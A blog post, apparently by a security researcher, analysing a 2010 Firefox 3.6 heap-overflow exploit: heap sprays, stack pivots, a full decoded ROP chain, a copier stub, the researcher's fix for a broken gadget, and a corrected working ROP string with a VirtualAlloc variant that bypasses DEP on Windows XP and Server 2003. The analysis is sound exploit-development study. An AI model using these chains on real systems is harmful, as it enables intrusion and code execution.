Firefox Exploit Analyzed


[I found some old posts lurking around my hard drive from a few months ago. This is no longer the newest or best Firefox exploit, but you might find it interesting]

To learn a little bit more about exploit development and RE I took a look at the latest Firefox exploit in exploit-db (
http://www.exploit-db.com/exploits/15352/
); ostensibly the same exploit used in the Nobel Peace Prize 0day attack of late October last year. (http://www.google.com/search?q=nobel+Firefox) I tested it out on a Windows XP VM and was disappointed that it did not work. After investigating, I discovered technically why it failed, but was still left wondering why it had been released as it had.

The Mozilla advisory http://www.mozilla.org/security/announce/2010/mfsa2010-73.html informs us that the vulnerability is triggered by interleaved calls to document.write and DOM insertion (document.appendChild) causing a heap buffer overflow. It was found by Morten Kråkvik of Telenor SOC while investigating an intrusion attempt on a customer network. Plenty of details of the vulnerability describing exactly what is happening, more than I will cover here, can be found at the Mozilla bug page for the vulnerability: https://bugzilla.mozilla.org/show_bug.cgi?id=607222#c53 In the end, pointers get run off the end of an array allocated on the heap.

The exploit performs two heap sprays; the contents of which are determined by Firefox version. The second spray generates many copies of the address of a stack pivot to move esp to the heap and return. This address will be the first address that eip is sent to when a function pointer is read from the heap. For example, on Firefox 3.6.11, the address used is 0x1017f7e7, which points to the following stack pivot:

1017f7e7 bc8891740d      mov     esp,0D749188h
1017f7ec 33f6            xor     esi,esi
1017f7ee 8937            mov     dword ptr [edi],esi
1017f7f0 b802400080      mov     eax,80004002h
1017f7f5 5e              pop     esi
1017f7f6 c20400          ret     4

On Firefox 3.6.8, the address is 0x1029b8a7, which points to the following code:

1029b8a7 bc5057e813      mov     esp,13E85750h
1029b8ac c20600          ret     6

and you get the idea. The first spray will fill the heap with a sequence of bytes that becomes the stack after the vulnerability is triggered. For each targeted version of Firefox, a different address is used for the spray, followed by a ROP string specific to the Firefox version. These ROP strings are derived from the corrensponding div in the HTML of the page with ID's of sun8, sun9, sun10, and sun11. Following the strings is the shellcode that will be executed. For Firefox 3.6.9, 3.6.10, and 3.6.11, this spray fills the heap with a retslide that will be followed until the ROP payload is hit. However, for Firefox 3.6.8, which the spray seems carefully tuned to target, the bytes being written are simply copies of 0x0d0d0d0d, and the start of the ROP string will be written precisely in memory at the address that the stack will be pointed to before executing the ret instruction, turning control over to the ROP string.

For any of the Firefox versions; once the ROP string is hit by esp; it directs the process to perform very similar instructions. For example; the instructions for Firefox 3.6.11 are shown below. Note: the module based at 0x1000000 is xul.dll which was predictably loaded at this address (in non-ASLR OS's).

ROP string is held in:

u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc7u1000u0011u0000u827fu1000u0300u7FFEucda3u1000u6689u1000uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u4bc7u1000u0001u0000u4bc7u1000u0000u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u11a1u1000u57A8u0d78u827fu1000u57A8u0d78ucda3u1000

Translates to:

10004bc8 //retn
10004bc8 //retn
10004bc8 //retn
10004bc8 //retn
10004bc8 //retn
10004bc8 //retn
10004bc7 //pop eax retn
00000011 //NtAllocateVirtualMemory system call number for windows XP.
1000827f //pop ebx retn 
7FFE0300 //address of mov edx,esp  sysenter ret in XP
1000cda3 //jmp dword ptr [ebx] 
10006689 //add esp, 28   retn

//argments for NtAllocateVirtualMemory
DEADB333 //?
FFFFFFFF //ProcessHandle, current process (NtCurrentProcess())
0d7857A8 //*BaseAddress
00000000 //ZeroBits
0d7857A0 //RegionSize
00001000 //MEM_COMMIT
00000040 //PAGE_EXECUTE_READWRITE

10004bc7 //pop eax retn
00000001 //RegionSize points to here
10004bc7 //pop eax retn
00000000 //BaseAddress points to here

//Now it copies some executable code to the RWX buffer

100011a1 //pop ecx retn
0FEB9090
10073500 //mov [eax], ecx  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100011a1 //pop ecx retn
18895B58
10073500 //mov [eax], ecx  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100011a1 //pop ecx retn
74FFFB83
10073500 //mov [eax], ecx  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100011a1 //pop ecx retn
04C0830B
10073500 //mov [eax], ecx  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100011a1 //pop ecx retn
E890F3EB
10073500 //mov [eax], ecx  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100025df //inc eax  retn
100011a1 //pop ecx retn
FFFFFFEC
10073500 //mov [eax], ecx  retn

//Now it jumps to the code stub
100011a1 //pop ecx retn
0d7857A8
1000827f //pop ebx retn
0d7857A8
1000cda3 //jmp dword ptr [ebx]

code stub that was copied:
00000000  90                nop
00000001  90                nop
00000002  EB0F              jmp short 0x13
00000004  58                pop eax
00000005  5B                pop ebx
00000006  8918              mov [eax],ebx
00000008  83FBFF            cmp ebx,byte -0x1
0000000B  740B              jz 0x18
0000000D  83C004            add eax,byte +0x4
00000010  EBF3              jmp short 0x5
00000012  90                nop
00000013  E8ECFFFFFF        call dword 0x4

which copies the shellcode after the ropstring to the RWX allocation until it hits a 0xFFFFFFFF; then jumps to the shellcode.

At least, that seems to be how it is supposed to work. In reality; it is easy to miss, but the instruction at 0x1000cda3 is jmp dword ptr [ebx] but the address of the system call is actually stored in ebx; not what ebx points to. So it should be replaced with the address to a jmp ebx instruction (for example, at 0x102138d2) or the exploit will completely fail, which is what I experienced. All of this makes me seriously question the version of the exploit posted to exploit-db. It doesn't make sense to me why it even exists. The rest of the instructions couldn't have been written or at least couldn't have been tested unless the jmp ebx instruction was correct. Did someone tamper with the exploit before it was submitted? What was the original? Maybe I just won't know. The exploit-db maintainers didn't either.

With the address fix, a functional rop string is "u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc7u1000u0011u0000u827fu1000u0300u7FFEu38d2u1021u6689u1000uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u4bc7u1000u0001u0000u4bc7u1000u0000u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u11a1u1000u57A8u0d78u827fu1000u57A8u0d78ucda3u1000"

and replacing the existing shellcode with Metasploit shellcode to execute calc, I had no problem getting code execution on Windows XP. But this was an exercise in learning, and I wanted code execution in other Windows versions, specifically Windows Server 2003. Therefore, I needed to eliminate the hard-coded system call number and I wanted to eliminate the hard-coded addresses outside xul.dll in the ROP string for when the ntdll version was different. So I put together strings for each of the Firefox versions based on an import to VirtualAlloc in xul.dll to launch the shellcode. For example, for Firefox 3.6.11, it uses the following addresses:

10004bc8 //retn
100083ca //pop eax retn
10830280 //VirtualAlloc import at this address

10003b5a  // mov eax, [eax]  ret
100a8ef4  // jmp eax
10004bc8  // ret

//argments for VirtualAlloc
00000000      //lpAddress
00001000      //dwSize
00001000      //flAllocationType = MEM_COMMIT
00000040      //flProtect = PAGE_EXECUTE_READWRITE

and the rest continues like the original exploit; copying code over to the new allocation before ending in a jmp eax at 100a8ef4.

Now I had a functional exploit bypassing DEP for Windows XP, Windows Server 2003, and probably any other Windows version without ASLR, and it just felt better than the original. So I put the code into a template I copied from another browser exploit, added information about CVE, disclosure date, etc., configured javascript obfuscation, and committed to metasploit. The OCD part of me wants to clean up some of the javascript; but it works.

Unfortunately, since Firefox 3.6.4 or so, ASLR support has been added to the Firefox DLL's so it doesn't work on Vista or later. Information I could find on bypassing DEP and ASLR from previous work either requires another exploit or incorporates addons like Flash or Java. But those have generally been moved to a separate process, so DEP + ASLR bypass will have to wait for the next blog post.

, , , , , , , , , , , ,

Comments are closed.